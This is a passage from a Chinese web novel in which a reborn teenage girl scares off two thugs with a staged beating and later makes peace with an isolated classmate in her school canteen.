之前假扮周强妈的老太太连忙拽了他一把,嗔怪道:“行了,让你装一会儿,你咋还上头了?叫人家丽珍闺女笑话!” 苏丽珍笑道:“没事,陈奶奶,陈大伯这是嫉恶如仇,我就欣赏这样的性子!” 昨天她找张表舅帮忙,让他在村子里帮着挑几个身强力壮、外加能说会道的人过来演这一场戏。 张表舅今天上午就直接领了这四个人过来。其中的老太太加上瘦小汉子是一对真母子,是张表舅的丈母娘和大舅哥,按照张表舅的说法,他丈母娘年轻的时候唱过二人转,装个养出不肖子孙的乡下老太太简直是小菜一碟。 至于旁边两个高壮汉子则是张表舅自己的本家兄弟,都有一把子力气,属于人狠话不多的类型。 考虑到张表舅毕竟要经常往城里跑,所以苏丽珍这次就没让他直接出面,等帮忙把人领来到这儿后,她就叫人先回去了。 不过,这四人都跟张表舅是近亲,张表舅这几个月收菜、收粮连带他们这些亲戚也跟着借了不少光,家里的菜蛋、白面都卖了好价钱,所以一听说是给苏家帮忙,几人谁都没含糊。 苏丽珍没打算在两个混子跟前说太多,就让四人先到她来时的胡同外面等一会儿,她跟周家兄弟说几句话就过去。 四人满口应下,不过陈大伯不放心,到底把手里的马鞭给苏丽珍留下了。 等四人走后,周强、周军本来想着只剩一个臭丫头,他们二人把人收拾一顿好出出气,可惜想得是挺美,结果俩人一动弹就浑身疼得不行,别说收拾人了,就是站一会儿都费劲。 苏丽珍看着两人一副恨不得冲上来咬自己两口的架势,也没含糊,手里的马鞭掉个个儿,用鞭柄往两人肩头一搥,兄弟俩就跟纸糊似的,直接坐地上了。 她居高临下地看着两人,似笑非笑道:“我劝你们两个省点力气,皮肉伤虽然不要命,但是疼起来都一样的。” 这回周军受不了先开口骂道:“你这死丫头真阴险!你等着!等我们哥儿俩好了,非报今天这个仇不可!” 苏丽珍直接冷笑一声:“好啊,那我等着你们!” 她蹲下身,用马鞭点了点对方的胖脸,语气森凉:“放心,不管你们来多少次,我都会像今天一样光明正大把你们痛揍一顿,而你们挨了打却还要被所有人咒骂、厌恶,没一个人会为你们说话!就算我打痛快了,直接把你们送去派出所,也有一堆人抢着帮我作证!想t一想,你们可真是比过街老鼠还要惨呢!” 也许是今天在对方手里吃了一个大亏,让周家兄弟深切意识到对方虽然年纪小,却并不是个只会放狠话的小女孩,她是真的有能力、也有胆子这么对付他们,因此兄弟俩这会儿即便被苏丽珍的话气得不行,可心底还是不由自主生出一股惧意。 而这股惧意被紧盯着他们的苏丽珍捕捉到,知道经过今天一番连消带打,足以让对方忌惮她,以后轻易不敢再生事。 想说的话说完了,她自然没心情陪两个混子浪费时间,准备去找陈大娘四人。 只是临走前,她没忘又丢下一句:“帮我转告张福全一声,他要是真在乡下这么清闲,我不介意帮他找点事做做。” 周家兄弟俩听完却是如遭雷击。 周强猛地抬头看向她,看着对方笃定的眼神,才明白原来自己这点根底早已经被对方扒得干干净净,难怪对方这样有恃无恐。 良久,他才有些艰涩地开口问道:“你是怎么知道的?” 苏丽珍却没有回答他,反而嘲讽道:“看来他跟你们也不算多好的兄弟嘛,要不然他就不会找你们来对付我家了!毕竟作为上一个打我家主意的人,他现在就只能在山沟沟里刨刨地,除了找些比他还蠢的蠢货充作出头鸟就一点办法也没有了!” 这明晃晃的挑拨加讽刺让周强的脸色十分难看,可是因为心底的那份忌惮,他到底没敢再像之前那样对苏丽珍语出不逊。 苏丽珍却是不管二人心中作何感想,拎着马鞭转身就走。 只是快出胡同口的时候,她忽然似有所感一般,忍不住回头看了眼,可那里除了一见她停下就目露紧张的周家兄弟俩,并没有别人。 她停顿了一瞬,便又扭头离开了。 剩下周强、周军两人同时松了口气,这丫头心狠手辣、嘴巴毒,他们可真有点惹不起。 周军就忍不住小声嘟囔道:“这全子也是,给咱们写信只知道骂小丫头邪性,也不说她这么厉害,害咱俩今天遭这么多罪!” 周强也有些郁闷,今天里子面子全丢了,还落了一身伤,虽然他们不是啥狠角色,可小混混也是要脸的啊! 他有些烦躁道:“行了,别墨迹了,赶紧找个药店买点药水擦擦吧!” 真要命,这一身伤明天怕是连地儿都下不来了! 结果他不说还好,一说周军直接带了哭腔:“哥,咱哪儿还有钱了!之前全子写信找咱时,给了五块,那老苏家大前天给咱五块!拢共十块钱,咱昨天花了点,剩下九块六毛二放你那儿,刚才不全让小丫头的人搜走了吗?” 周强听得脸色又青又白,原先只是身上疼,现在连脑袋也开始疼了! 这事闹的,真特么赔了夫人又折兵! 第47章 眼见着两个“伤员”相互搀扶着、一瘸一拐地出了胡同,躲在胡同另一头出口的两个人才慢慢走出来。 周明义吐了一口气,啧啧道:“哎呦,这小丫头可真敏锐,咱离得这么远都差点被她发现了!” 沈瑞看了他一眼,表情略有些无奈。 周明义立马心虚地摸了摸鼻子。 这事也怨他,要不是他使劲儿往这边凑,结果一不小心蹭到了墙面上一小片松动的青砖,发出了那么一丢丢的声音,他们也不至于差点被发现。 沈家老爷子的手术非常成功,术后恢复得也很不错,所以他们在首都只呆了两周,昨天就回来了。 今天两个小的在家里休息,准备明天正式开学。他和瑞哥昨天一下火车就忙活了大半天,今天反而事情不多,正好沈家二嫂说是给大伙儿订做了不少秋装,瑞哥索性带着他一快出来取衣服来了。 本来之前车子路过客运站附近,看着那门口里三圈、外三圈围了不少人,像是出了什么事,可惜那边人多,他们又开着车子不方便,也就没去凑热闹。 等从裁缝家取了衣服出来,因为这一带胡同比较多,车子出入费劲,他们就没开车,赶巧就碰上两个买菜的妇女,叽叽喳喳说起了方才在客运站门口的事。 周明义好信儿听了一耳朵,事情也不复杂,几句话就弄明白前因后果了。 一听说是亲娘舅教训不学好的街溜子外甥,他还有点失望,觉得这没啥意思,还跟瑞哥感叹,这事要搁他们老周家,哪里需要亲娘舅动手啊,他老子和他大哥就能把他“教育”明白了! 然后当他们走到这条胡同附近的时候,瑞哥忽然拦住他,结果两人就这么机缘巧合地发现了之前客运站门口那场热闹的真相。 知道了所谓的“娘舅教育外甥”的戏码原来是小丫头教训上门挑事的人,而这一顿教训偏偏光明正大,深得人心,周明义简直佩服得五体投地! “瑞哥,小丫头这招也太狠了,这是打了人,还让人没地儿说理去啊!” 沈瑞点头:“确实有几分出其不意,对付这种没有根基的街头小混混还是比较管用的。” 而且听他们之前的对话,显然小姑娘对两个混混的情况还是十分了解的,所以才大胆用了这个办法。 一般人遇到这种上门找茬的混子,许多人要么是不管不顾地正面硬冲;要么是直接怂了,任人宰割。很少有像小姑娘这样冷静地掌握对手的信息,根据双方的差距制定策略,最后看准时机出手,一招即中。 不得不说,这样的人如果不走歪路,等今后有了更加丰富的知识和广阔的见识后,必定会大有所为。 周明义可不知道他这么一会儿的工夫想了这么多,还兀自在那里絮叨感叹个不停,不过手里的一大包衣服还提醒着他们出来时间不短了,便又催着沈瑞赶紧回去。 这个点国营饭店的肉菜应该还能赶上,不管是锅包肉还是溜肉段,回首都两个礼拜,可把他想坏了! 眼看着周明义上一秒还在感慨,下一秒就报起了菜名,这没心没肺的劲头让沈瑞也是有些无奈。 弱肉强食是亘古不变的道理。有些人天生是猎手,他也没办法把所有人都变成优秀的猎手,但是他会让在意的人不沦为猎物。 他一把拽住急吼吼要跑的人,含笑道:“从前面的胡同绕着走吧,说不定他们还没走远。”—— 苏丽珍这会儿确实没有走远,她和陈奶奶一行四人正在胡同口说话。 等亲眼看见周家兄弟从胡同里出来,灰溜溜地往与他们相反的方向跑了,陈老太还摇了摇头:“看着好好的大小伙子,咋就不学好呢?” 事情解决了,碍眼的人也滚蛋了,苏丽珍先是郑重向几人表达了感谢,然后从衣兜里取出八十块钱,递给四人。 “陈奶奶,三位伯伯,今天多亏了你们帮忙,这是我们家的谢礼,算是一点心意。” 四人一看这么多钱,哪里肯收,陈老太更是直接摆手:“妈呀,这可不行啊!俺们就干这点事,咋能拿这么多钱!不行不行!” 这种事其实不算少,村里人团结,但凡有个啥抢水源、开荒挣地之类的事,那都是领头的吆喝一声,大伙儿就抄起家伙式儿往前冲!谁怂谁不是人,所以他们其实不怕打架。 虽说要到城里打有点胆秃,但是来前儿张家老哥都告诉他们了,他们这是去打混混,占着理儿呢,只要不把人打死、打残,人家就给他们兜底! 而且也不叫他们白忙活,完事能给点好处。 所以他们是知道会有好处,可没想到有这么多! 四个人八十,一个人就是二十块钱! 唉呀妈呀,听说城里人第一年学徒工一个月才挣十八块钱,这给的也太多了!尤其陈家是母子俩,这一下就能拿四十块钱! 这么多钱,四人都不好意思全拿,苏丽珍劝了半天他们才肯收下。 陈老太四人到底过意不去,回去后一商量,决定各自从家里拿一只鸡送给苏家,算是一点心意,陈家还拿了两只! 所以等第二天早上张表舅带着这四只活蹦乱跳的肥鸡过来时,苏家人是又惊讶又感慨。 这些鸡送过来了,自然也不能再让张表舅折腾回去,苏丽珍估计给钱,对方也不会收,还是李翠英拍板,干脆就拿自家的包子做回礼吧。 一家人把早上蒸出来的几屉包子都用大面盆装好,叮嘱张表舅带回去一起分一分。 张表舅一听说还有他的份,有些不好意思,不过他跟苏t家人处的日子长了,也知道这一家子都是心宽仁义的性子,也就没推辞。 这几十个大包子带回去后,这几家都吃得特别满足,把苏家人夸了又夸,要知道他们平时过日子仔细,日常连白面都舍不得吃,更何况是这油盐肉蛋都不少的大包子,加上苏家人那一绝的手艺,那叫一个美啊! 而且他们觉得苏家人仗义,一点也不像有些城里人那样,眼眶子高,看不起他们农村人。他们现在就特别羡慕张表舅,能跟着这样的人家一起做事,挣钱还舒心。 也是因为这一点,他们都开始格外留心张表舅这边,三不五时就过去打听打听,想着要是苏家再有啥用人的活计,他们就抢先排个号。 苏丽珍不知道自家无心插柳的举动帮她家在村里赢得了不少好感,这几天她一直在琢磨摊子上新的事。 从上周日开始,家里生意就恢复如常了,加上那两天天气特别好,连之前卖得不太好的凉皮都重新变得供不应求起来。 就在苏卫华夫妻俩考虑要不要把凉皮加量的时候,没想到天公又不作美,这才放晴没几天,就又开启新一轮的阴雨天了。 从本周三开始,连着两天,雨势忽大忽小,几乎就没停过,夫妻俩也没办法出摊。 “一场秋雨一场寒”,这一点在他们东北尤其明显。 估计这一轮降雨过后,天气肯定更冷了,照这架势,他们家的凉皮是真没几天可卖了。 而且现在新鲜的毛豆也已经下市了,要知道,这卤毛豆可是和卤花生一起,占据了他们家卤味的“半壁江山”。 所以这两天,她都在思考摊子接下来该上什么新品。 这天中午放学,苏丽珍直接去了学校食堂。 因为这两天一直下雨,许多外宿生没有回家,而是直接把饭带到学校里吃,所以今天食堂的人也不少。 苏丽珍特地晚了一点才过来,这会儿食堂打饭的窗口已经没有多少人排队了。 等着打饭的工夫,看着食堂里那一溜的大灶台,她忍不住又想起家里的小吃摊子。 其实关于新品,她是想继续做卤味的。 毕竟卤味做起来比较省事,家里的卤汁配方又源自《料经》,味道绝对没得说,这么好的卤汤只拿来卤些花生、毛豆之类的素菜实在有点可惜。 而且肉卤不像做包子,起码猪、牛、羊、各种禽类,甚至动物的头蹄、下水都能拿来加工,这样食材选择方面就更加宽泛些。 之前因为天气热,肉类不易存放,他们就一直没尝试,眼下一天比一天凉,卤肉这一项倒是可以提上日程了。 但是这里也有个难题,那就是他们这里的冬天实在是很冷。 虽说卤味放凉了风味更盛,可也不能太凉啊! 毕竟在他们这儿,十月份气温跌破零度、十一月初就漫天大雪的情况简直是家常便饭! 想想大冷的天,卤菜变冻菜,吃一口冰碴子硌牙,这谁受得了啊! 一家人就琢磨着给卤菜保温的方法。 一种是把食物一直放进卤水锅里熬着; 可这样非常容易导致食物卤过火,到时候卤菜的口感和品相方面都要受影响。 另一种方法是把卤好的菜品都放在篦帘上,然后把篦帘架在大锅里,像熥馒头那样熥着。 可这个方法的缺陷也很明显,锅里大量的水蒸气会冲淡卤味的浓香,而且水汽太盛的话,菜品的色泽也会大打折扣,看起来不新鲜。 这两个方法都没法保证不影响菜品的质量,所以一家三口其实都不满意。 家里这两天一直在研究这件事,连陈奶奶他们送来的四只鸡都“报销”了两只,可惜还没想出好办法…… “同学,你还要打什么菜?” 食堂阿姨温和的声音让苏丽珍醒过神,她忙朝对方摇头,“谢谢阿姨,不用了!” 接过自己的饭盒,她正准备找个地方坐下,结果眼神扫到人群一角时,倏地全身一僵。 是沈哲和齐秀婷! 第48章 两人正坐在一个不起眼的角落里用餐。 天生俊秀的容貌和优雅的仪态注定了他们成为人群中的焦点。哪怕跟大家一样穿着朴素的校服、端着不起眼的铝饭盒,可坐在人堆里却像是鹤立鸡群。 算算日子,他们确实也该转过来了。 怔忪间,正好有两个刚吃完饭、去刷饭盒的女生从她身边经过,两个女孩子也正小声议论着:“看见那边那两个男生和女生了吗?听说是一班新来的转学生,长得可真好。” “我知道!说是从首都那边转过来的,看着好洋气啊,感觉跟咱们都不一样呢!” 两个女生艳羡的低语声渐远,苏丽珍不由深深吸了一口气。 看吧,即便这里有再多的人,但那两个人就像会发光一样,总能牢牢吸引住所有人的目光。 她下意识低头往自己左侧衣襟看了眼。 衣襟的内兜里放了一枚别针。 针尖被她特意打磨过,尖锐非常,刺破手指的时候,格外地疼。 可这疼比起她的悔恨和愧疚,却不及万分之一。 所以,这一次,一切必须仅止于此。 她已经不再是过去那个被恋爱脑支配的苏丽珍了。 无论那个人有多好,她都不会再像上辈子那样执迷不悟。 默默收回目光,深呼吸几次,她很快调整好自己的情绪。正想随便找个地方坐下,忽听左前方有人熟稔地招呼她:“丽珍,快来!坐这边!” 苏丽珍循声望去,只见那边隔着四五张桌的位置,有十多张熟悉的面孔,都是他们班上的同学。 打头的卢向阳,一见她看过来,还朝她挥了挥手。 苏丽珍笑了笑,当即端着饭盒走了过去。 喊她的是个女生,叫杨淑萍,是班上的宣传委员,写的一手好板书,因为之前跟苏丽珍一起设计过班上的板报和文明栏,所以对苏丽珍十分信服。 杨淑萍一见她过来,抢先往旁边挪了挪,一边示意苏丽珍坐过来,一边乐呵呵对其他人道:“今天就让丽珍坐我这儿,你们都别跟我抢!”。 卢向阳听见这话就打趣苏丽珍道:“看见没,你现在可是咱班的香饽饽,都有人要抢了!” 其他人都跟着笑了起来。 班上的同学都十分喜欢苏丽珍,不仅仅是因为她脑子里总是有那么多好想法,还因为她做事认真负责,性子又大方、和善,私下里大伙儿都挺爱跟她相处。 而且除了这些,苏丽珍还有一项让人实在羡慕到不行的优势,就是她的英语特别好! 要知道,国家开设英语课的时间不长,现在连授课的老师们水平都很一般,更不用说是学生了。 所以在这种情况下,苏丽珍那一口纯正的英语口语着实叫人羡慕不已。 甚至好多人都觉得,苏丽珍的口语跟他们用收音机收到的“米国之音”里那些外国人讲的也没差多少。 更难得的是,面对大家向她讨教学习英语的方法,她并没有藏私,而是大大方方地把自己总结出来的经验分享给大伙儿,自然更赢得了大家的好感! 男生就不说了,反正在女生堆里,苏丽珍绝对是最受大家欢迎的人。 因此卢向阳打趣苏丽珍是“香饽饽”,也不算夸张。 杨淑萍白了他一眼,等苏丽珍一坐下,就忙把自己的饭盒往她跟前推了推,热情道:“丽珍,尝尝我带的萝卜干,大家都说又酸又辣,特别下饭!” 她开了头,其他人也不甘示弱,纷纷把自己带的咸菜、辣酱推过来。 少年人的赤子之心总是格外能打动人,面对大家发自内心的好感和友善,苏丽珍常常会短暂地忘记自己前世那些斑斑“劣迹”,享受这份宝贵的善意。 她直接弯起唇角,也把自己带来的卤菜分给大家吃。 他们家的卤味如今算是小有名气,学校里也有不少人知道,甚至有人当场就认出了苏丽珍,毕竟她这一整个夏天一直陪着父母出摊。 而且她在学校里也并不避讳自家是个体户的事,甚至碰到了买过他们家小吃的人,还会笑吟吟地感谢人家光顾。 之前有同学还私下劝她,让她别那么直白,毕竟如今干个体也不是什么体面的活计,可她只是淡淡地回应了一句“凭自己手脚赚钱,只求问心无愧”,之后面对别人的议论,都全程淡然处之,不再做任何争辩。 学生们到底接受新事物比较快,看待事情也不像某些成年人那么故步自t封,苏丽珍这样坦然大方的态度渐渐影响了他们。大家经过一番思考后,开始慢慢接受了她的观点,很多人也逐渐转变了态度。 加上苏家的小吃是真的味道好,只要不是心存偏见的话,那样的美味确实能俘获大多数人的胃口。 所以,打从吃过她带的卤味后,班上的同学就没有不夸的,甚至有些外宿生因为实在喜欢这个味道,还特意央求家里人都去苏家摊子买各种卤味。 家长们拗不过,原本是应付任务一样,可没想到买过一次后,直接就被苏家那一口鲜香无比的卤味给征服了,到后来反而一个个比孩子们还上瘾! 这自然而然就又给老苏家发展出了一批新的回头客。 卢向阳一家就是这其中之一。 这会儿,一见苏丽珍把卤菜拿出来,卢向阳立马迫不及待地夹起一筷子土豆片塞进嘴里。 作为每周不吃一次苏家卤味就抓心挠肝难受的“老主顾”,这可是他难得的福利时间,谁让在家里他总也抢不过他爹和他哥,自然得趁着这个时候,赶紧多吃一点! 一口下去,他脸上当即露出惬意的表情。这土豆片鲜香脆嫩,带着微微的麻辣味,简直好吃到不行,这个滋味无论吃多少次他都不嫌腻! “真好吃啊!” 看卢向阳吃得一脸沉醉,其他人也没忍住咽了咽口水,这卤菜真的好香啊,离得这么远都能闻到香味! 这会儿,大伙儿谁也顾不上跟苏丽珍客气,都纷纷伸筷过去。 看他们这么捧场,苏丽珍也顺势夹起其他人带的各式小菜,和大家一起热热闹闹吃起来。 所有人都把自带的小咸菜、辣酱摆在桌子中间,大伙儿你一筷子、我一筷子,欢声笑语的,明明是最朴素的食物,却硬是吃出了一桌大席的感觉。 只可惜,总有人喜欢破坏气氛。 “什么卤菜,不过是些土豆、豆腐而已,真搞不明白你们,这有什么好吃的!” 谢芳芳一手拎着一个饭盒过来,故意瞥着苏丽珍大声说道。 她也不顾别人的反应,直接将手里两个饭盒放在桌子上,得意道:“这是猪肉大葱馅儿的饺子,肉多葱少,是我妈刚在国营饭店要的,刚出锅就给我送过来了!正好你们都在,都尝尝吧,这家饭店的饺子可是满凤城都出名的!” 谢芳芳话音落下,刚刚还一脸热情地相互品尝各自小吃食的同学们却都收了笑。一桌子的人彼此看了看,谁都没接茬,也没去看她带来的那两盒饺子,都低下头安静地吃起饭来。 苏丽珍不由心里叹了口气。 其实,之前李翠英知道她的同学们喜欢家里的卤菜,还想特地做些卤肉和卤蛋叫她带来,只是她没同意。 现在大部分人还处于刚刚填饱肚子的阶段,一天能吃上一顿细粮,个把星期能见点油腥都算富裕的了。 再加上这个年纪的学生本来也是心思敏感的时候,她要是带的东西太好,大家反而不会像现在这样随意自在。时间长了,恐怕还会下意识地疏远她。 所以为了不想显得太高调,她这几次从家里带来的卤菜都是便宜的土豆、豆腐之类,这样跟大伙儿交换着吃,别人也没负担。 可是谢芳芳不明白这些,只一心想和她对着干,压根不知道自己刚刚那番话早已把人推远了。 果然,谢芳芳丝毫没发现众人眼中的冷淡,见大伙儿谁也没伸筷,还以为他们都是客气,便自顾自地上前打开两个饭盒,一脸自得地对众人道:“我来给你们分,大家都有份!我妈还特地给我要了一大罐饺子汤,叫咱们一边吃饺子、一边喝汤,这叫‘原汤化原食’……” 说话间,便抄起自带的筷子要往两边同学的饭盒里拨饺子。 她右手边坐着的正好是杨淑萍,对方在她的筷子伸过来前,就直接按住了谢芳芳手臂,淡淡道:“不用了,我们自己打的饭菜够吃,你还是自己留着吃吧!” 谢芳芳怔了怔,下意识四下看了看,这才发现热热闹闹的食堂里只有他们这一桌安静的出奇。所有人都只顾埋头在自己的饭盒前,没有一个人肯转头看一眼她带来的饺子,更没有一个人肯搭理一下她! 众人这样冷淡的反应让她有些不知所措。 好半天,她才一脸僵硬道:“大家一起吃吧,我妈真的买了好多的……你们看,这么大一盒……” 卢向阳不忍看她太过冷场,赶忙站起来打圆场,说道:“谢同学,其实我们打的饭菜都够了,吃不完剩下就要浪费了……这些饺子你还是自己留着拿回家吃吧!” 他不提还好,一说起他们自个儿的饭菜,谢芳芳沮丧的心里不由猛地生出一股怒气。 她就不明白,苏丽珍有什么好的,大伙儿非得这么捧着她!不过是带了些不值钱的便宜货,也没见几点油腥,怎么所有人都巴巴地当成宝贝! 她可没忘了,才刚她过来前,这一桌子的人都跟要吃什么神仙美味似的,差点抢起来! 反而轮到她这里,再看这些人的样子,好像恨不能要自己跪下来求他们吃! 凭什么啊!—— 作者有话说:终于可以更新了,这几个月太难了,希望小天使们没有忘记我,觍着脸求一波收藏~ 第49章 谢芳芳越想越生气,也格外委屈,忍不住对卢向阳呛声道:“什么吃不完浪费!别以为我不明白,你们就是不想吃我带的东西!” 她指着苏丽珍,两只眼圈发红道:“你们喜欢她,哪怕她带的是树皮草根,你们也都当成宝!可到了我这儿,不管是我以前带的高级点心和巧克力,还是今天的白面大肉饺子,你们都不愿意多看一眼!” “你们不喜欢我,对我心存偏见,即便我怎样费心思讨好你们,你们也总是无动于衷!” “亏你们一个个的,平时总把什么“正直”“善良”挂在嘴边,还信誓旦旦说将来要做一个道德高尚的人!可你们看看,你们对我做的事正直吗?高尚吗?我谢芳芳是有不好,可也不至于坏到十恶不赦的地步吧?你们至于这么对我吗?” 吼完这一番话,谢芳芳就哭着跑了出去。 苏丽珍听得微微怔住,其实细想想,谢芳芳的话也有些道理。 这个女孩子虽然有不少毛病,但本性并不坏。 她这骄纵的性子,源于优越的家庭环境和长辈的过分溺爱,但一个人性格的养成并不是一朝一夕的事,所以想要改变也没那么容易。 虽然谢芳芳采取的一些方式让人无法认同,可起码她真的有在努力做出改变,也一直在想尽办法融入大家,其实这就是可取之处。 反观他们呢,因为之前一些不愉快的相处,就一直认定对方是个骄傲自大的人,完全看不到对方所做的那些努力。甚至因为反感,所以无论对方说什么、做什么,他们都习惯性先往坏处去想。 这样看来,谢芳芳的话不算错,他们确实是对她抱有偏见,更因为这份偏见被蒙蔽了双眼。 想想他们之前那样对谢芳芳,几乎算是一种孤立了。 她想起上辈子的自己,为了得到别人更多的关注,故意编造自己家世富贵,后来谎话被揭穿,班上的人都不愿意跟她来往。任凭她百般道歉,他们就是不肯再接纳她,只一心认定她是个撒谎成性、道德低劣的人。 她明白自己说谎欺骗大家不对在先,也后悔当时虚荣心太过,但那时的她真的十分渴望大家能再给她一次机会。 而她之所以后来对沈哲那样偏执疯狂,其中一个重要原因就是因为那段日子里她被众人孤立、反感,心中充满彷徨失落,所以才会在对方无意间帮过她一次后,便把对方当做照亮自己的一束光,一个从天而降的英雄,只想不管不顾地抓住这一丝温暖。 如今想来,谢芳芳的境遇与上辈子的她何曾相似! 上一世的谢芳芳也是时常独来独往,后来更是惊天雷一般忽然喜欢上五班一个打篮球的男生,甚至不管不顾地向对方表白。尽管很快被拒绝,可这件事仍然闹得沸沸扬扬,在学校里影响很不好。不久,她就被父母转去了别的学校,自此再无音讯。 这么一看,她们俩有些地方其实还挺像的。 这一世,打从开学起,因为起初那一点口角,谢芳芳就时常跟她较劲,虽然都是些小打小闹,不伤大雅,可次数多t了,她也不是没脾气。 不过这一刻,苏丽珍却释然了。抛开成见,其实谢芳芳这个人并不是全无优点,就像她之前虽然喜欢跟她作对,却从来都是光明正大,不屑于背后搞小动作。 想到对方刚刚哭泣的样子,苏丽珍当下起身,准备追出去看看。 其他人也都不自觉地纷纷从座位上站了起来,苏丽珍扫了一眼,只见每个人脸上都流露出或是懊悔或是深思的神色来,显然谢芳芳的这番话对他们的触动也很大。 大家都想去找谢芳芳,不过这么多人一起肯定不行,再加上刚刚动静不小,在人来人往的食堂里已经引起了不小的关注,要是再呼啦一下追出去这么多人,那就热闹大劲儿了。 所以卢向阳领着几个男生,主动说道:“苏丽珍、杨淑萍,你们都是女孩子,说起话来应该比我们男生方便,还是你们去吧,我们留在这里等你们。” 苏丽珍几个自然没有意见。 不过这么一耽搁,谢芳芳的身影已经彻底看不见了。 杨淑萍犹豫道:“我们去哪儿?我觉得她应该不会回教室。” 的确,以谢芳芳爱面子的性格,肯定不愿意让太多人看见她哭鼻子。 苏丽珍想了下,“到后操场那边看看吧。” 一中占地面积不小,教学楼前后两个操场都挺大。尤其是学校准备明年联合周边几所学校共同举办一场大型运动会,为此,今夏特地把后操场重新翻修了一遍。 如今后操场更加整齐宽阔不说,还加盖了一座主席台,相当气派,所以平时学生们闲暇之余都喜欢往那边走走。 到了地方,谢芳芳果然在。 她正坐在主席台二楼的露天坐席上哭得伤心,冷不丁见这么多人找过来,不由怔住了。 一看见人,女孩子们齐齐松了口气。 还是杨淑萍主动上前一步,说道:“谢芳芳,对不起……其实你的话没错,之前的确是我的态度有问题,我应该向你道歉!” 在来的路上,她们所有人都认真反省过了。其实谢芳芳那番话说的没错,谢芳芳之前是狂傲自大不假,可她们也的确是对她心怀偏见,以至于即便对方现在努力想要回头修补和大家的关系,她们依旧视而不见,单方面笃定她非善类,这何尝不是另一种狂傲自大? 那她们又比谢芳芳强什么? 正是想明白了这一点,所以她这次才要第一个开口,她要为自己先前在食堂那样冷漠的态度道歉。 杨淑萍开了头,其他人也纷纷向谢芳芳道了歉。 大伙儿争先恐后跟自己道歉的情形完全超出了谢芳芳的想象,她怔怔地看着众人,喃喃道:“你们、你们怎么跟我道歉……” 苏丽珍看她小脸上还挂着泪珠子,心里一软,等其他人都说完了,才开口道:“谢芳芳,你说的对,我们的确也有做错的地方。之前,是我们太苛刻了,我们自己尚且做不到完美,又怎么能处处要求别人不出一点错误呢?” 她顿了顿,语气越发郑重:“尤其是我,身为班长,却没能在这一方面给大家做出好榜样。明明你也是我们集体中的一员,我却没能像对待其他人那样真心接纳你,很多事太过斤斤计较……所以谢芳芳,这次我也应该向你道歉。对不起,希望你能原谅我。” 谢芳芳眼睛瞠得老大,如果说之前其他人的道歉让她不敢相信,到这会儿苏丽珍的话已经让她彻底震惊了。 她瞪着苏丽珍,结结巴巴道:“你、你、你怎么会跟我道歉?你不是、不是最讨厌我吗?” 苏丽珍摇头,“我从没有讨厌过你。” 这是真的,她并不讨厌谢芳芳,只是不喜欢她一贯咄咄逼人的态度,也由此失了公允之心。在对方努力想要融入他们这个集体却不得其法的时候,选择冷眼旁观,差一点就把自己变成了上辈子最反感的那种人。 “你……”也许是她脸上的表情太过认真,谢芳芳嘴里原本要喊的那句“骗人”又硬生生收了回去,脑子一热,心里想到什么就脱口而出了。 “你怎么会不讨厌我?明明我总是跟你作对,又时常跟大家说你的坏话,我还一直想抢你的班长位置……我做这些,你不可能不讨厌我!” 像是为了说服自己,她的语气一开始还硬邦邦的,只是说着说着,就莫名其妙地软了下来,到最后甚至还带了点她自己都没发觉的委屈。 苏丽珍有些想笑,她现在很庆幸自己及早地发现了错误,能保持一颗公平公正的心去看待眼前这个外表跋扈、实则单纯的小女孩。 她的目光中染上了一丝暖意,认真道:“你喜欢和我作对、以及想把我从班长的位子上拉下来,这不算什么,只要你使用的方法得当,做的事不会越过底线,我并不介意。毕竟,合理的竞争是能敦促我们共同进步的。” 谢芳芳完全没想到她会这么说,不由惊讶地长大了嘴巴。 可苏丽珍接着话锋又是一转,“但是你说我坏话这点确实不可取,所以你也应该向我道歉的。” 谢芳芳霎时涨红了脸,有些气恼又有些心虚地瞪着苏丽珍。 看她这样,苏丽珍轻轻一笑,“不过,今天咱们一码归一码,眼下是我和大伙儿就之前对你的不公平态度向你道歉!我们是真心实意的,希望你能原谅我们。” 苏丽珍话音一落,其他人也立即齐齐朝谢芳芳喊道:“对不起!” 谢芳芳有些激动,红通通的眼睛再次泛起了泪花,两只手也不知道要放在哪儿,好半天才嗫嚅着说:“没关系……其实是我不好,我知道的……” 女孩子们都笑了起来,大家主动上前围住谢芳芳,杨淑萍和班上的文艺委员蔡晓娟更是一左一右牵起她的手,说说笑笑地拉着她回食堂。 这一路,谢芳芳在女孩子们团团簇拥下显得既兴奋又不安,不过她还是很快就发现了刻意走在后头的苏丽珍,忍不住好几次偷偷回头瞄她。 苏丽珍看得分明,脸上也不由露出了笑容。 第50章 再回到食堂时,大部分学生已经结束就餐,准备离开了。 她们这一行进门的当口儿,正赶上沈哲和齐秀婷一起出来,双方刚好走了个对头碰。 只不过这一次,苏丽珍的目光没有再多做停留。 有许多事已经不一样了。 这一世,她与他注定再无交集。 这是对她、对所有人,最好的安排—— 谢芳芳在女孩子们的簇拥下重新坐回餐桌,卢向阳等几个男生立即主动表达了歉意,以及对对方的欢迎。 谢芳芳感受到了大家的真诚,开心的不行,见她先头扔下的那两盒饺子和汤还都老老实实摆在桌子上,立马端起饭盒,像只小蜜蜂似的挨个给大家分起来。 大家这次没再拒绝她的热情,都欣然接受了。 虽然这一大盒饺子是不少,可架不住他们人也多,平均下来每个人也只能分两三个,大部分就是尝尝味道。 不过这饺子确实味道不错,所以大家尝过后,都笑呵呵点头称赞。 谢芳芳看大家喜欢,十分高兴,尤其偷偷瞄到苏丽珍也说好吃,更是兴奋不已,嚷嚷着明天还要接着给大家带,到时让大家管够吃。 苏丽珍却注意到听见这话的杨淑萍和蔡晓娟几个,先是犹豫着相互看了看,最终什么也没说,只是默默把自己带的咸菜、辣酱都往谢芳芳那边推了推。 她立时猜到了小伙伴们心里的想法。 大家既然有心接纳谢芳芳作为伙伴,自然乐于跟对方分享自己的食物,更何况大家还吃了对方的饺子。 可她们从来没看过谢芳芳吃这些东西,想想对方的家庭条件,也不知道吃不吃得来……干脆就不吱声了,只把东西摆在那里,谢芳芳有兴趣就尝一尝,不想吃也没关系,免得推让起来对方不喜欢却要硬着头皮接受,到时候两边都尴尬。 苏丽珍发现谢芳芳一次也没去夹过那些咸菜,心里不由叹了口气,决定待会儿吃完饭的时候,找个机会提醒谢芳芳一下。 青春期的心思最是敏感,有些事情需要技巧,而不是光凭一腔热情横冲直撞,否则到最后,双方都容易疲惫不堪。 谢芳芳不知道已经有人在心里为她默默操心,她分完了饺子,正端着一罐饺子汤给大伙儿分汤。 “你们快喝,我奶奶总说‘饺子顺汤,越喝越香’!这煮饺子的汤带着饺子味,香喷喷的,可好喝了,我每次自己都能喝一大t碗!” 